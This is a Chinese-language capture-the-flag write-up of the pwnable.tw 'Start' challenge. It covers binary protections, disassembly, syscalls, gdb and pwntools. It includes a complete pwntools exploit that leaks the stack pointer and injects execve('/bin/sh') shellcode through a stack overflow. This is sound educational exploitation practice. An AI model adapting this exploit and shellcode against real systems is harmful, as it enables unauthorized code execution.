和媳妇一起学Pwn 之 Start

题目地址:https://pwnable.tw/challenge/#1

检查文件与保护机制

拿到题目的第一步是先检查文件类型和保护机制的开启情况:

➜  file start 
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
➜  checksec start
[*] '/Users/xuanxuan/Desktop/pwnable/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

可以看到没有没有开启任何保护机制,关于保护机制的介绍有很多:

但是这些保护机制是怎么开启的呢?

可以知道这些保护机制是gcc这个工具提供的,只需要在用gcc编译的时候:gcc xxx.c -o xxx 添加相应的选项即可:

(1) CANNARY保护

  • 作用:检测栈溢出
  • 关闭:-fno-stack-protector
  • 启用(只为局部变量中含有 char 数组的函数插入保护代码): -fstack-protector
  • 启用(为所有函数插入保护代码): -fstack-protector-all

(2) FORTIFY保护

  • 作用:限制格式化字串漏洞
  • 关闭:-D_FORTIFY_SOURCE=0
  • 开启(只会在编译的时候检查):-D_FORTIFY_SOURCE=1 -O1
  • 开启(强检查):-D_FORTIFY_SOURCE=2 -O2 没有加-O2参数的话是不会开启强检查的,需要在编译的时候加上这个参数

(3) NX保护

  • 作用:堆栈不可执行
  • 关闭:-z execstack
  • 开启:-z noexecstack

(4) PIE保护

  • 作用:地址随机化
  • 关闭: -no-pie
  • 开启: -pie -fPIC

(5) RELRO保护

  • 作用:GOT表不可写
  • 关闭:-z norelro
  • 开启(部分):-z lazy
  • 开启(完全):-z now

(6) 去除符号表

  • 作用:增加逆向难度
  • 启用:-s

理解代码

然后运行一下这个题目:

➜  ./start
Let's start the CTF:
➜  ./start
Let's start the CTF:1231231
➜  ./start
Let's start the CTF:123123123123123123123123123
[1]    13793 segmentation fault (core dumped)  ./start

发现输入多了直接就崩溃,很有可能是栈溢出,在用gdb尝试看一下崩溃时的地址:

➜  gdb -q ./start
Reading symbols from ./start...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /mnt/hgfs/桌面/pwnable/start/start 
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x2d ('-')
EBX: 0x0 
ECX: 0xffffcfb4 
EDX: 0x3c ('<')
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffcfcc 
EIP: 0x61616161 ('aaaa')

可以看到果然EIP的值已经被修改成我们的输入了,用IDA打开题目,发现只有两个函数,_start_exit_start这个符号是linux中可执行程序加载到内存里后执行的第一个函数,即为正常通过gcc编译的c代码的入口点,调用顺序如下(参考《程序员的自我修养》):

_start-> __libc_start_main->main

但是这个题目中只有两个函数,可见这个题目的源码并不是正常的c代码,而应该是直接编写的汇编代码,通过IDA在程序加载地址的位置给出的注释信息也可以看到,题目的sourcefile是:start.s

LOAD:08048000 ;
LOAD:08048000 ; Input SHA256 : 0B64F96833009502EAF73AF1767DC6E125C8E4DE0A32336C2C3949ED40ED4A6F
LOAD:08048000 ; Input MD5    : 4DE65E1A816D8EB93FA2C74EFFCDB38B
LOAD:08048000 ; Input CRC32  : E543DBF7
LOAD:08048000
LOAD:08048000 ; File Name   : /Users/xuanxuan/Desktop/pwnable/start/start
LOAD:08048000 ; Format      : ELF for Intel 386 (Executable)
LOAD:08048000 ; Imagebase   : 8048000
LOAD:08048000 ;
LOAD:08048000 ; Source File : 'start.s'
LOAD:08048000
LOAD:08048000                 .686p
LOAD:08048000                 .mmx
LOAD:08048000                 .model flat
LOAD:08048000 .intel_syntax noprefix

接下来我们看_start函数干了什么:

.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 20          ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 60
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

可以见到这里并没有常规函数上来的两步:push ebp; mov ebp, esp; 而是压了esp,很奇怪。然后依次:

  • 压了_exit函数的地址
  • 清eax,ebx,ecx,edx
  • 压字符串,20个字节
  • 分别给eax,ebx,ecx,edx赋值(4,1,esp,20),然后int 80h系统调用
  • 清ebx,给eax,edx赋值(3,60),然后int 80h系统调用
  • esp加20个字节收回栈空间
  • 根据栈上的返回地址(_exit)返回

al,bl,dl寄存器是啥:

image

系统调用的参数怎么看:

Linux System Call Table

%eax Name Source %ebx %ecx %edx %esx %edi
1 sys_exit kernel/exit.c int - - - -
2 sys_fork arch/i386/kernel/process.c struct pt_regs - - - -
3 sys_read fs/read_write.c unsigned int char * size_t - -
4 sys_write fs/read_write.c unsigned int const char * size_t - -
5 sys_open fs/open.c const char * int int - -
6 sys_close fs/open.c unsigned int - - - -
7 sys_waitpid kernel/exit.c pid_t unsigned int * int - -
8 sys_creat fs/open.c const char * int - - -
9 sys_link fs/namei.c const char * const char * - - -
10 sys_unlink fs/namei.c const char * - - - -
11 sys_execve arch/i386/kernel/process.c struct pt_regs - - - -

可见其实就是eax是系统调用号,然后ebx,ecx,edx,esx,edi分别放置系统调用的参数。那当我们知道系统调用号eax的值后,除了在网上查表,能不能在本地直接看到是那个系统调用呢,以及知道系统调用所需要的参数呢?

首先可以通过以下文件查看到系统调用:

/usr/include/asm/unistd_32.h 
/usr/include/asm/unistd_64.h

比如我是32位系统下的4号系统调用:

#define __NR_write 4

可以看到是write系统调用,那个__NR_是宏,理解的时候去掉就行了,然后通过man命令查看相应的系统调用,即可看到参数的顺序啦:

$  man 2 write

WRITE(2)                                       Linux Programmer's Manual                                       WRITE(2)

NAME
       write - write to a file descriptor

SYNOPSIS
       #include <unistd.h>

       ssize_t write(int fd, const void *buf, size_t count);

linux 有很多帮助手册,因为没有人可以记住那么多命令。其中最主要的就是man命令,还有info命令

但是这里之前有个疑问,明明write是系统调用,是int 80h之后的代码,是sys_write,那可以调用的这个write的c函数,是啥?其实这是libc帮我们封装好的系统调用,在这个write函数里面就会去执行int 80h进入真正的系统调用。

刚刚接触二进制的时候会遇到一些不知道是啥的c函数,也没人教过这些函数都是啥。在本科学c语言程序设计的时候,就用过那么几个函数printf,scanf,pow,觉得这些东西无论怎么组合使用也都是在折腾那些输入输出,根本不知道那些对于图形,网络,内存,设备的控制怎么实现?用什么函数?真的觉得这是教学的一个坑。因为,我们学的是c语言程序设计,不是linux程序设计,不是windows程序设计。于是哪些是c语言本身的函数,哪些是使用操作系统提供的API的函数,这些函数实现在哪,头文件在哪,老师也没教过。

所以我们讲c语言课学的那些函数都是ANSI C中的函数,也是c语言本身的函数,虽然这么讲课没错,但是真的应该在开始上课之前,先把所讲的语言特性是哪个层次给学生说清了。那那些POSIX的函数怎么学习呢?

Linux程序设计

回到题目所以这两个系统调用

  • 分别给eax,ebx,ecx,edx赋值(4,1,esp,20),然后int 80h系统调用
  • 清ebx,给eax,edx赋值(3,60),然后int 80h系统调用

可以翻译成如下c的伪代码:

write(1,esp,20); // 从栈上读20个字节到标准输出(读内存)
read(0,esp,60);  // 从标准输入写60个字节到栈上(写内存)

可以看到write和read函数的对象是文件描述符,而我们安全研究关注的是内存,所以在理解上,文件描述符的读写和内存的读写是反的。

漏洞点以及利用

非常明显的栈溢出,能给栈上写60个字节,完全能覆盖返回地址。但是怎么利用,没有libc,没有bss段,看起来shellcode只能写到栈上,但是怎么知道栈的地址呢?于是看到函数第一步先压了esp到栈顶,我们还能控制eip去进行write的系统调用打印栈上的变量,所以这样直接就可以泄露当时压栈的时候的esp了,通过计算也就能计算出我们要部署的shellcode所安排的地址啦,所以利用大概分两步:

  • 首先泄露之前的esp
  • 然后布置shellcode到栈上,并且计算相应的返回地址覆盖eip
                                                                                                                                     +-------------+ +----------------+
                                                                                                                                     |             |
                                                                                                                                     |             |              ^
                                                                                                                                     |             |              |
                                                                                                                                     |             |              |
                                                                                                                                     |             |              |
                                                                                                                                     |  shellcode  |              |
                                                                                                                                     |             |              |
                                                                                                                                     |             |              |
                                                                                                                                     |             |              |
                                                                                                                                     |             |              |
                                                                                                                                     |             |              |
                                                                                   oldesp + 14h = shellcode addr    ---------------> +-------------+  +-----+     |
                                                                                                                                     |             |              |
                                                                                                                                     |  shellcode  |     ^        +
                                                                                                                                     |    addr     |     |
                                                                                                                                     |             |     |
                                                                                                                     esp+14h ------> +-------------+     |      payload
                                                                                                                                     |             |     |
                                                                                                                                     |             |     +
                                                                                                                                     |   'a'*20    |
                                                                                                                                     |             |  24 byte     +
                                                                                                                                     |             |              |
                                                                                                                                     |             |              |
                                                                                                                                     |             |     +        |
                                                                                                                                     |             |     |        |
                                                                                                                                     |             |     |        |
                                                                                                                                     |             |     |        |
                                                                                                                                     |             |     |        |
                                                                                                                                     |             |     |        |
                                                                                                                                     |             |     |        |
high addr               +-------------+                 +-------------+             oldesp ------> +-------------+                   |             |     |        |
                        |             |                 |             |                            |             |                   |             |     |        |
                        |   oldesp    |                 |   oldesp    |                            |   oldesp    |                   |             |     v        v
                        |             |                 |             |                            |             |                   |             |
                        +-------------+                 +-------------+ +-----+        esp ------> +-------------+       esp ------> +-------------+  +-----+ +--------+
                        |             |                 |             |                            |             |                   |             |
                        |   retaddr   |                 |  0x08048087 |    ^                       |  0x08048087 |                   |  0x08048087 |
                        |             |                 |             |    |                       |             |                   |             |
                        +-------------+                 +-------------+    |                       +-------------+                   +-------------+
                        |             |                 |             |    |                       |             |                   |             |
                        |             |                 |   'a'*20    |    |                       |             |                   |             |
                        |             |                 |             |    +                       |             |                   |             |
                        |             |                 |             |                            |             |                   |             |
                        |             |                 |             | 24 byte                    |             |                   |             |
                        |             |                 |             |                            |             |                   |             |
                        |             |                 |             | payload                    |             |                   |             |
                        |             |                 |             |                            |             |                   |             |
                        |             |                 |             |    +                       |             |                   |             |
                        |             |                 |             |    |                       |             |                   |             |
                        |             |                 |             |    |                       |             |                   |             |
                        |             |                 |             |    |                       |             |                   |             |
                        |             |                 |             |    |                       |             |                   |             |
                        |             |                 |             |    |                       |             |                   |             |
                        |             |                 |             |    |                       |             |                   |             |
                        |             |                 |             |    |                       |             |                   |             |
                        |             |                 |             |    v                       |             |                   |             |
                        |             |                 |             |                            |             |                   |             |
low addr    esp ------> +-------------+     esp ------> +-------------+ +-----+                    +-------------+                   +-------------+


                            start                        first attack                              ret 0x08048097                     second attack

pwntools的使用

pwntools是一个python的库,专门用于做ctf的pwn题,因为提供了和服务器的io操作(还有一个控制io的库叫zio,也经常在ctf中使用),所以要想用pwntools解其他题也可以

疑问:

  1. pwntools安装的时候用的是pip install pwntools,但是在用的时候是import pwn,这俩名字为啥不一样?如何配置?
  2. 通过pip install pwntools安装完后,直接可以使用一些命令行工具比如checksec,查看这个玩意发现实际是个python脚本,那这个是怎么在安装过程中完成的呢?在pip的时候可以直接安装东西到/usr/local/bin/这种文件夹里么?

使用参考文章:

以下是一个简单的例子:

from pwn import *

context(os='linux',arch='i386',log_level='debug')

shellcode  = "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"

myelf = ELF("./start")
io = process(myelf.path)
# io = remote("chall.pwnable.tw",10000)
# gdb.attach(io,"b _start")

payload = "a"*20
payload += p32(0x08048087)

io.recv()
io.send(payload)

oldesp = u32(io.recv(4))
io.recv()

payload = "a"*20
payload += p32(oldesp+20)
payload += shellcode

io.send(payload)

io.interactive()

其中shellcode一般可以用pwntools自带的shellcraft模块生成:

from pwn import *
shellcode = asm(shellcraft.i386.linux.sh())
print shellcode

但是这种shellcode可能会有点长,比如上面那个有44个字节,这道题是只能同60-20-4=36个字节,所以还是需要取网上找shellcode,当然如果不嫌麻烦的话可以把前面那20个字节也利用上,然后跳到后面36个字节,就不用上网找了,不过麻烦死。哪找?

答:Shellcodes database

GDB的使用

gdb在linux上一般都自带,mac上也有,但是还需要装一个gdb的插件让gdb在调试的时候显示的信息更方便,这里我用的是peda,安装和使用如下:

这玩意就是得用非常熟练,脑子里很清晰很快速的翻译,面前这一堆都是啥,用文萱的话:这玩意就是熟练活。首先就是直接用gdb启动需要被调试的进程:

$ gdb -q ./start # -q是quiet,输出少一点

然后就可以用那些gdb或者peda的命令了(i b p x r c n s set等等),但是这种都是常规的调试,在测试的过程中经常要输入一些十六进制的地址给程序,而我们又没有办法直接在键盘上输入一些不可见字符给程序,这可怎么办?用pwntools的gdb模块!

pwntools中使用gdb

一般用法比较简单,只用一个gdb.attach就可以了,第一参数是io,第二个参数可以直接是空字符串,也可以是一个gdb命令:

from pwn import *

myelf = ELF("./start")
io = process(myelf.path)

gdb.attach(io,"b _start")
io.interactive()

虽然是在_start打断点,但是尝试一下,并不会断到这,因为在启动的第一个函数就是_start,所以需要用gdb.debug()方法:

from pwn import *

myelf = ELF("./start")

io = gdb.debug(myelf.path,"b _start")
io.interactive()

注意这里一般最后要有一个interactive(),阻止python退出,否则python执行完就退出了,启动的调试进程也退出了,gdb也就调不了了。

调试技巧

判断溢出长度

(1) pattern.py

(2) pwntools模块cyclic

参考:pwntools使用简介2

cyclic(20)
length = cyclic_find('aafb')

0xdeadbeef(判断eip是否已经劫持)

基本方法,就是在动态调试的时候看啥时候eip被控制了,看看寄存器是啥,看看相关的内存都是啥,程序走哪去了,然后加加减减的算算偏移。经常会在测试中看到0xdeadbeef,这是个啥?

参考:

计算机这玩意是老外发明的,人家用a-f这6个字母也能玩出花样来,这个十六进制数的字面意思是“死牛肉”,是一个有意义的英文单词,是一个很显眼的标签。另外在32位的linux的操作系统中0xc0000000-0xffffffff是内核空间,所以0xdeadbeef是内核空间的一个地址,当用这个地址把eip劫持时,用户代码访问一定出错,即可快速判定我们的payload写的是否正确(eip是否是0xdeadbeef)。

学习文章